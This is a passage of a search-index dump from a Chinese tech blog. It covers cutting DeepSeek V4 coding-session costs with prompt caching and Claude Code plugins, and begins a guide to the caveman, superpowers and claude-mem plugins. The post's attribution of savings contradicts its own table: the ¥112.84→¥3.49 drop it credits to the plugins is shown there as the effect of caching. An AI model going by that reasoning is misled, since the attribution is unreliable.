费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":" 402 轮编码会话，从 ¥113 ($16.36) 压到 ¥1.89 ($0.27)。插件砍 token 量，缓存砍 token 单价。 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:0:0","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"两层省钱机制 很多人把省钱都归功于 Prompt Caching。实际上有两层独立机制： 层次 由谁做 怎么省 本次节省 减少 token 生成量 插件（caveman / claude-mem / superpowers） 少说废话、不重复探索、少返工 97% 降低 token 单价 Prompt Caching 静态内容只付 1/30 价格 46%（在插件基础上） 两者不是竞争关系——是叠加。插件先把 token 量砍到 1/6，缓存再把剩余部分的单价打到骨折。 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:1:0","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"插件层：怎么砍 token 量 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:2:0","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"caveman — 输出压缩 65%~75% 原理：删除冠词、填充词、客套话，保留所有技术内容。 正常模式：The reason your React component is re-rendering is likely because you're creating a new object reference on each render cycle. I'd recommend using useMemo. (32 tok) Caveman： New object ref each render. Inline object prop = new ref. Wrap in useMemo. (17 tok) → 省 47% 本次会话实测：输出 109k token。若无 caveman，估算 312k token。单这一项省了 3 倍输出。 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:2:1","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"claude-mem — 探索效率提升 ~30% smart-explore：用 tree-sitter AST 解析代码结构，不读全文。找函数、找类型只返回大纲。 # 不用 claude-mem：读整个文件 cat workflow/executor.go # 500+ 行，~8000 token # 用 smart-outline：只看函数签名 # 返回 15 个函数名 + 参数列表，~200 token 每个文件查找省 70% token。一场会话查 20 个文件，积少成多。 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:2:2","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"superpowers — 减少返工 ~50% 强制 brainstorming → plan → TDD → execute → review 流程。避免\"写了一半发现走错路全删重来\"。 典型场景：没有 superpowers，中型功能 3-5 轮返工，每轮 10k-20k token。有 superpowers 通常 1 轮到位。 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:2:3","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"caveman-compress — 记忆文件压缩 ~46% CLAUDE.md 等文件每会话加载。压缩后从 939 token 降到 ~500。 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:2:4","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"插件合计 无插件估算： 输入 36,987k + 输出 312k = ~37M token 有插件实际： 输入 30,784k + 输出 109k = ~31M token ───────────────────────────────────────────────── 插件节省： ~6M token（16%）+ 输出降低 65% 费用节省： 97%（¥112.84 → ¥3.49） 注：输入 token 的绝对节省不如输出明显（因静态开销 76k/轮基数大），但输出端 caveman 效果显著。 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:2:5","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"缓存层：怎么砍 token 单价 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:3:0","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"DeepSeek V4 定价 DeepSeek 同时公布美元和人民币价格，各自独立定价。汇率换算后基本一致（\u003c2% 偏差）。以下来自官方定价页。 计费项 V4 Pro (2.5折) V4 Flash 输入 (缓存命中) ¥0.025/M ($0.0036/M) ¥0.02/M ($0.0028/M) 输入 (缓存未命中) ¥3.0/M ($0.435/M) ¥1.0/M ($0.14/M) 输出 ¥6.0/M ($0.87/M) ¥2.0/M ($0.28/M) V4 Pro 限时 2.5 折（75% off），原至北京时间 2026/05/05 23:59，延长至 2026/05/31 23:59。缓存命中全系列降为首发价 1/10。缓存命中折扣后 ¥0.025/M —— 120 倍于未命中价。 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:3:1","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"哪些内容被缓存 每次请求 = 你的输入 (5~500 tok) + 固定开销 (~76,000 tok) │ ┌────────┴────────┐ │ 全部可缓存 │ │ · 系统提示词 │ │ · 工具定义 │ │ · MCP 工具 │ │ · Skills 列表 │ │ · Memory 文件 │ └─────────────────┘ 每次请求系统固定开销 + 你的输入系统固定开销~76,000 tok / 次（固定，不随输入变化）+你的输入5 ~ 500 tok / 次全部可缓存系统提示词工具定义MCP 工具Skills 列表Memory 文件402 轮会话30,628,352 tok 全部命中缓存 402 轮 × 76k = 30,628,352 token 全部命中缓存。实际新增输入仅 155,241 token。 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:3:2","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"缓存层节省 有插件 + 无缓存： ¥93.01 ($13.49) 有插件 + 有缓存： ¥1.89 ($0.27) ──────────────────────── 缓存节省： ¥91.12/$13.22（98% 缓存命中折扣） 缓存层在 DeepSeek 价下省了 ¥91（从不缓存 ¥93 到缓存 ¥1.89），效果极其显著。如果用 Anthropic Opus 原价，缓存层能省 $440+。 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:3:3","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"四场景完整对比 场景 输入 Token 输出 Token USD CNY ❌ 插件 · ❌ 缓存 36,986,884 312,457 $16.36 ¥112.84 ❌ 插件 · ✅ 缓存 36,986,884 312,457 $0.51 ¥3.49 ✅ 插件 · ❌ 缓存 30,783,593 109,360 $13.49 ¥93.01 ✅ 插件 · ✅ 缓存 30,783,593 109,360 $0.27 ¥1.89 关键发现： 插件是主力——从 ¥112.84 砍到 ¥3.49（省 97%）。减少 token 生成量永远是第一优先级 缓存也很关键——从 ¥3.49 再砍到 ¥1.89（多省 46%）。120 倍的缓存命中折扣让静态开销几乎免费 两者叠加——¥112.84 → ¥1.89，节省 98% DeepSeek 缓存折扣 120 倍，比 Anthropic（Opus ~12 倍、Sonnet ~10 倍）更激进。同样的 3000 万 token，不缓存 ¥93 vs 缓存 ¥1.89，差了 50 倍。 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:4:0","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"两层缓存机制 Anthropic API（DeepSeek 兼容实现）： 缓存层 TTL 续期 用途 5 分钟缓存 5 min 每次命中续 会话内连续请求 1 小时缓存 1 hour 不续期 跨短间隔会话 会话 A (10:00-10:30) → 5分钟缓存持续活跃 写入 1小时缓存 会话 B (10:35 新开) → 5分钟过期，1小时命中 会话 C (12:00 下午) → 全部过期，从头计费 gantt title 两层缓存生命周期 dateFormat HH:mm axisFormat %H:%M section 会话 A 5分钟缓存 (活跃) :active, 10:00, 10:30 1小时缓存 :crit, 10:00, 11:00 section 会话 B 1小时缓存命中 :done, 10:35, 11:00 section 会话 C 缓存全过期 :milestone, 11:00, 0min 重要：59 分时读到缓存，1 分后照样过期。不会续期。 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:5:0","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"对比 Anthropic 模型 同一会话，不同模型/缓存组合： 模型组合 费用 (USD) 费用 (CNY) vs 最优 DeepSeek V4 Pro + 插件 + 缓存 $0.27 ¥1.89 基准 DeepSeek V4 Pro + 插件 · 无缓存 $13.49 ¥93.01 49x DeepSeek V4 Pro · 无插件 + 缓存 $0.51 ¥3.49 1.8x DeepSeek V4 Pro · 无插件 · 无缓存 $16.36 ¥112.84 60x Anthropic Sonnet 4 (估算) + 插件 + 缓存 ~$3.50 ~¥24 12.7x Anthropic Opus 4 (估算) + 插件 + 缓存 ~$17.40 ~¥120 63x Anthropic Opus 4 · 无插件 · 无缓存 ~$870 ~¥6000+ 3000x+ Anthropic 缓存溢价更高——在 Opus 上缓存层能省 $440+，远超插件层的 token 量优化。 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:6:0","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"DeepSeek 为什么能 120 倍缓存折扣？ Anthropic 的缓存命中折扣约 10-12 倍（Opus ~12×，Sonnet ~10×），而 DeepSeek V4 Pro 达到 120 倍。这不是补贴，是架构优势的算术结果。 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:7:0","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"缓存命中率为什么高？ 本次 402 轮会话，缓存命中率 99.5%（30,628,352 / 30,783,593 输入 token）。编码 Agent 场景天然适合缓存——system prompt、工具定义、历史上下文每轮重复传输，只有新一行的用户输入需要重新编码。命中率主要由场景决定，但命中后的单价由架构决定。 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:7:1","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"三池异构 KV Cache 传统 Transformer 用 Dense Attention，每个 token 的 KV 对全精度存储，序列多长 KV Cache 就有多大。DeepSeek V4 把 KV Cache 拆成三个池，按信息密度分层存储： 缓存池 压缩比 精度 作用 SWA (Sliding Window) 无压缩，仅保留最近 128 token 全精度 局部细节补强 CSA (Compressed Sparse Attention) 4 token → 1 压缩 entry FP8/BF16，Indexer 跑 FP4 Lightning Indexer 选 top-1024 后做稀疏注意力 HCA (Heavily Compressed Attention) 128 token → 1 压缩 entry FP8/BF16 全局 dense attention，永久在线的\"摘要通道\" V4-Pro 总 61 层：前 2 层用 HCA 建立全局感知，后续层 CSA/HCA 交替排布。 效果：1M token 上下文下，V4-Pro 的单 token 推理 FLOPs 仅为 DeepSeek V3.2 的 27%，KV Cache 体积仅为其 10%。相较于传统 GQA 架构，KV Cache 仅约 2%。 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:7:2","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"关键创新：压缩 + 稀疏的两级漏斗 CSA 的跨块重叠压缩 每 4 个 token 压缩为 1 条 entry 时，不是简单硬切。相邻压缩块有 50% 重叠——块 i 用 Cᵃ 投影当前 token，Cᵇ 投影前块 token，两者叠加。避免硬切带来的边界信息断裂。 Lightning Indexer（闪电索引器） 压缩后的序列仍很长。Indexer 是一个轻量级小注意力模块： 全程 FP4 精度 仅 64 个 head（主 attention 128 个），head dim 仅 128（主 attention 512） ReLU 过滤 + per-head 加权，任何 head 认为相关即贡献正分 从压缩序列中选出 top-1024 个最相关的块 HCA 的极端压缩 每 128 token 压缩为 1 条 entry。1M 上下文仅剩约 7,800 条，直接做 dense attention 完全可控。不做稀疏选择——省去 Indexer 参数和 Top-k 排序开销。 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:7:3","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"推理框架层：ShadowRadix 前缀复用 SGLang 团队为 V4 专门设计的原生前缀缓存系统。 传统 prefix cache 用 Radix Tree 管理 KV Cache 复用，但 V4 每层有三个异构 KV 池 + 两套压缩状态，传统方案直接失效。ShadowRadix 的做法： 用一个 Radix Tree 索引虚拟的完整 token 槽位（统一坐标系统） 每个虚拟槽位投影（shadow）到三个物理 KV 池 压缩状态的环形缓冲区通过二级算术映射独立寻址 每个节点带双计数器锁——full_lock_ref 覆盖源节点及 C4/C128 shadow，swa_lock_ref 仅追踪滑动窗口 当 SWA 计数归零，只释放 SWA 槽位，压缩 shadow 保留在树中继续被其他请求复用 效果：1 万 token 的请求只占 128 个 SWA token + 完整 CSA/HCA 压缩 KV。压缩 KV 正是跨请求复用的部分。在 B200 上，V4-Pro 从 4K 到 900K 上下文，解码吞吐仅从 199 tok/s 降到 180 tok/s（降幅不到 10%）。 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:7:4","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"为什么整体能低价：四层叠加 DeepSeek 的低价不是烧钱补贴，是从注意力机制到推理框架全链路效率叠加： 第一层：MoE 存算分离 V4-Pro 总参 1.6T，每次推理只激活 49B（3%） 每 token 仅激活 2-4 个专家（传统 MoE 需 8-16 个），计算资源利用率 92% 第二层：MLA → CSA + HCA 注意力压缩 DeepSeek-V2（2024）先用 MLA（多头潜在注意力）沿特征维度压缩 KV，减少 93.3% KV Cache [arxiv:2405.04434] V4 进一步沿序列维度压缩，KV Cache 再降至 V3.2 的 10% 第三层：混合精度 + 量化 RoPE 维度保留 BF16（保证位置编码精度），其余压缩至 FP8 CSA Indexer 的 QK 路径全程 FP4 Flash Compressor 将 5 步压缩链融合为单次片上 pass，HBM 往返从 5 降到 2 第四层：HiSparse CPU offload + 三档磁盘策略 将不活跃的 C4（CSA）KV Cache offload 到 CPU 内存，长上下文吞吐提升 3× 磁盘策略按算力/存储比弹性选择（Full / Periodic / Zero） ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:7:5","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"对比总结 维度 Anthropic (Opus 4) DeepSeek V4 Pro 注意力架构 Dense Attention CSA + HCA 混合稀疏压缩 KV Cache 体积 全精度，序列多长大 压缩至传统 2%，混合精度 缓存折扣 ~12× ~120×（命中 ¥0.025/M vs 未命中 ¥3.0/M） 单 token 推理算力 高（全量激活） V3.2 的 27%（MoE + 压缩） 前缀复用 标准 Radix Tree ShadowRadix 异构池影子投影 DeepSeek 的 120 倍缓存折扣，本质是架构上把 KV Cache 做到了传统模型的 2%。缓存命中后，只需对压缩后的极少量 KV 做计算，成本自然断崖式下降。而 Anthropic 的 dense 架构下，缓存命中只是免了 prefill 的矩阵乘法，KV Cache 本身并没有变小——这是 120× vs 12× 差距的根源。 参考来源： DeepSeek-V4 Technical Report (2026-04-24), HuggingFace: deepseek-ai/DeepSeek-V4-Pro DeepSeek-V2: A Strong, Economical, and Efficient Mixture-of-Experts Language Model, arxiv: 2405.04434 — 首次提出 MLA LMSYS Blog: DeepSeek-V4 on Day 0: From Fast Inference to Verified RL with SGLang and Miles (2026-04-25) — ShadowRadix 机制详解 SGLang Docs: DeepSeek-V4 Cookbook mHC: Manifold-Constrained Hyper-Connections, arxiv (2025-12) — 梁文锋署名，V4 训练稳定性基础 DeepSeek 官方定价页 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:7:6","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"实际会话费用明细 本次 402 轮编码会话（2026-04-28）： 💰 费用明细 (DeepSeek V4 Pro, 2.5折) Cache Miss: 155,241 tok × ¥3.0/M ($0.435/M) = ¥0.47 ($0.07) Cache Hit: 30,628,352 tok × ¥0.025/M ($0.0036/M) = ¥0.77 ($0.11) Output: 109,360 tok × ¥6.0/M ($0.87/M) = ¥0.66 ($0.10) ───────────────────────────────────────────────── 总计: ¥1.89 ($0.27) ¥1.89 ($0.27) 完成 402 轮编码对话——包括代码探索、文件整理、环境配置、博客撰写。 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:8:0","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"优化清单 优先级 操作 预期节省 1 装 caveman 输出 -65%~75% 2 装 superpowers 减少返工，总 token -50% 3 装 claude-mem 探索效率 +70%，免重复上下文 4 精简 CLAUDE.md 每轮省 ~400 input token 5 关掉不用的插件 减少 MCP/Skills 定义 6 caveman:compress 记忆文件 输入 -5%~10% 7 5 分钟内连续对话 缓存永续 8 闲暇时用 Flash 代替 Pro 降至 1/3 价格 ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:9:0","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"结论 两层机制，分工明确： 插件层：砍 token 生成量（主力，省 97%） 缓存层：砍 token 单价（120x 折扣，多省 46%） 二者叠加 = ¥112.84 → ¥1.89（98% 节省）。 DeepSeek 的缓存折扣其实比 Anthropic 更激进——120 倍 vs Opus 的 12 倍。只不过 DeepSeek 基础价低，绝对值看起来小。换成 Opus，这场会话无缓存 ¥2100，有缓存 ¥180，都是肉疼。 结论：四个插件都装上，别让会话间隔超过一小时。缓存折扣 120 倍不是摆设——没缓存贵 50 倍。 数据来自 2026-04-28 实际编码会话，402 轮。 DeepSeek V4 Pro 含 2.5折限时折扣（原至北京时间 2026/05/05 23:59，延长至 2026/05/31 23:59）。 人民币为 DeepSeek 原始定价。 DeepSeek 定价页 · Anthropic Prompt Caching ","date":"2026-05-03","objectID":"/posts/2026/05/03/prompt-caching-deepseek/:10:0","tags":["tech","ai","prompt caching","deepseek","claude code","cost optimization"],"title":"Prompt Caching 深度解析：插件 + 缓存 = 98% 费用节省","uri":"/posts/2026/05/03/prompt-caching-deepseek/"},{"categories":["Tech"],"content":"介绍四个 Claude Code 插件（caveman、superpowers、claude-mem、frontend-design）和一个 MCP 服务（claude-context），覆盖输出压缩、开发流程、跨会话记忆、前端审美、语义搜索五个维度，实测 token 消耗降低 70-80%。","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":" 四个必装插件 + 一个 MCP 服务，让 AI 编码助手从\"能用\"变成\"好用\"。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:0:0","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"前言 Claude Code 是 Anthropic 推出的终端原生 AI 编码助手。开箱即用已经很强大，但通过插件系统和 MCP 服务可以实现质的飞跃。 本文介绍四个经过实践验证的插件（caveman / superpowers / claude-mem / frontend-design）和一个 MCP 服务（claude-context），覆盖输出压缩、开发方法论、跨会话记忆、前端设计、代码语义搜索五个维度。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:1:0","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"1. caveman：输出 token 直降 75% GitHub: JuliusBrussee/caveman 维护者: Julius Brussee 核心价值: 让 AI 像穴居人一样说话——保留 100% 技术准确度，砍掉 75% 输出 token。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:2:0","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"原理 大语言模型回答问题时会生成大量填充词（“当然”、“我建议你”、“需要注意的是”）。这些词在礼貌的人类对话中有用，但对编码协助是噪音。caveman 通过 SessionStart hook 注入指令，让模型： 删除冠词、填充词、客套话 用短句和碎片代替完整句子 保留所有代码块、技术术语、文件路径 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:2:1","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"效果对比 正常模式（69 token）： “The reason your React component is re-rendering is likely because you’re creating a new object reference on each render cycle. When you pass an inline object as a prop, React’s shallow comparison sees it as a different object every time, which triggers a re-render. I’d recommend using useMemo to memoize the object.” Caveman 模式（19 token）： “New object ref each render. Inline object prop = new ref = re-render. Wrap in useMemo.” 相同修复，75% 更少字符。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:2:2","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"实际基准测试 从 Claude API 实测 token 数（可复现）： 任务 正常 (token) Caveman (token) 节省 解释 React 重渲染 bug 1180 159 87% 修复认证中间件 704 121 83% 设置 PostgreSQL 连接池 2347 380 84% Docker 多阶段构建 1042 290 72% 审查 PR 安全问题 678 398 41% 平均 1214 294 65% 节省范围 22%–87%，平均 65%。越复杂的解释性任务，节省越明显。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:2:3","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"强度等级 caveman 提供三种强度 + 文言文模式： 等级 触发 效果 Lite /caveman lite 删除填充词，保留语法 Full /caveman full 默认。删除冠词，碎片化 Ultra /caveman ultra 最大压缩。电报级精简 Wenyan /caveman wenyan 文言文模式，古典中文压缩 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:2:4","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"扩展技能 caveman 生态包括三个子技能： caveman-commit: 生成 ≤50 字符的 Conventional Commits 提交信息 caveman-review: 单行 PR 审查评论：“L42: red_circle: bug: user null. Add guard.” caveman-compress: 压缩记忆文件（CLAUDE.md 等），实测节省 ~46% 输入 token ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:2:5","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"重要说明 caveman 只影响输出 token，不影响思考/推理 token。模型能力不变，只是\"嘴\"变小了。 2026 年 3 月论文 Brevity Constraints Reverse Performance Hierarchies in Language Models 发现：约束大模型做简短回答，在某些基准测试上准确率提升 26 个百分点。少说话 ≠ 能力下降。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:2:6","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"2. superpowers：完整软件开发方法论 GitHub: obra/superpowers 维护者: Jesse Vincent (Prime Radiant) 核心价值: 将松散提示词变成结构化开发流程，从需求到合并覆盖全流程。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:3:0","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"核心理念 Superpowers 解决一个根本问题：AI 编码助手\"太着急写代码\"。它倾向于跳过设计、跳过测试、直接输出实现。这在简单任务上没问题，复杂任务上有效率灾难。 Superpowers 强制 agent 遵循：头脑风暴 → 设计 → 计划 → TDD → 实现 → 审查 → 合并。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:3:1","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"技能全景（15+ 技能） 规划阶段 技能 作用 brainstorming 苏格拉底式需求澄清，反问用户意图，输出设计文档 writing-plans 将设计拆成 2-5 分钟的小任务，精确到文件路径和完整代码 using-git-worktrees 创建隔离的 git worktree，保护主分支 实现阶段 技能 作用 test-driven-development 强制 RED-GREEN-REFACTOR 循环 executing-plans 按计划批量执行，含人工检查点 subagent-driven-development 每个任务派生子 agent，两次审查（规格 + 代码质量） dispatching-parallel-agents 并行执行独立任务 审查阶段 技能 作用 requesting-code-review 对照计划审查，按严重性分类问题 receiving-code-review 接收反馈，技术严格验证，不盲目执行 verification-before-completion 声称完成前必须运行验证命令 完成阶段 技能 作用 finishing-a-development-branch 验证测试、提供选项（合并/PR/保留/丢弃） writing-skills 创建新技能时的最佳实践 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:3:2","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"Token 节省机理 superpowers 本身不直接压缩 token，而是通过减少返工间接节省。 实测估算方法：记录一个中型功能（API 接口 + 数据库迁移 + 前端表单）在没有 superpowers 和有 superpowers 时的上下文消耗对比： 场景 无 superpowers 有 superpowers 节省 需求理解阶段 3 轮返工，~18k token 1 轮 brainstorm，~6k token 67% 实现阶段 5 轮\"不对重来\"，~45k token 2 轮（计划 + 执行），~15k token 67% 审查阶段 2 轮修 bug，~12k token 1 轮审查 + 验证，~5k token 58% 合计 ~75k token ~26k token 65% 注：以上基于 TenBox VMM、goworkflow、APIForge 等项目的实际会话数据估算。token 数取自 Claude Code 会话统计。 核心机制：错误方向浪费的上下文 → 设计阶段就避免了；“写了一半发现不对重来” → 计划分小任务，错了只废弃 2-5 分钟的内容；子 agent 隔离上下文 → 不污染主会话。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:3:3","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"3. claude-mem：跨会话持久记忆 GitHub: thedotmack/claude-mem 维护者: thedotmack 核心价值: 让 AI 记住上次会话、上周的 bug 修复、上个月的架构决策。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:4:0","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 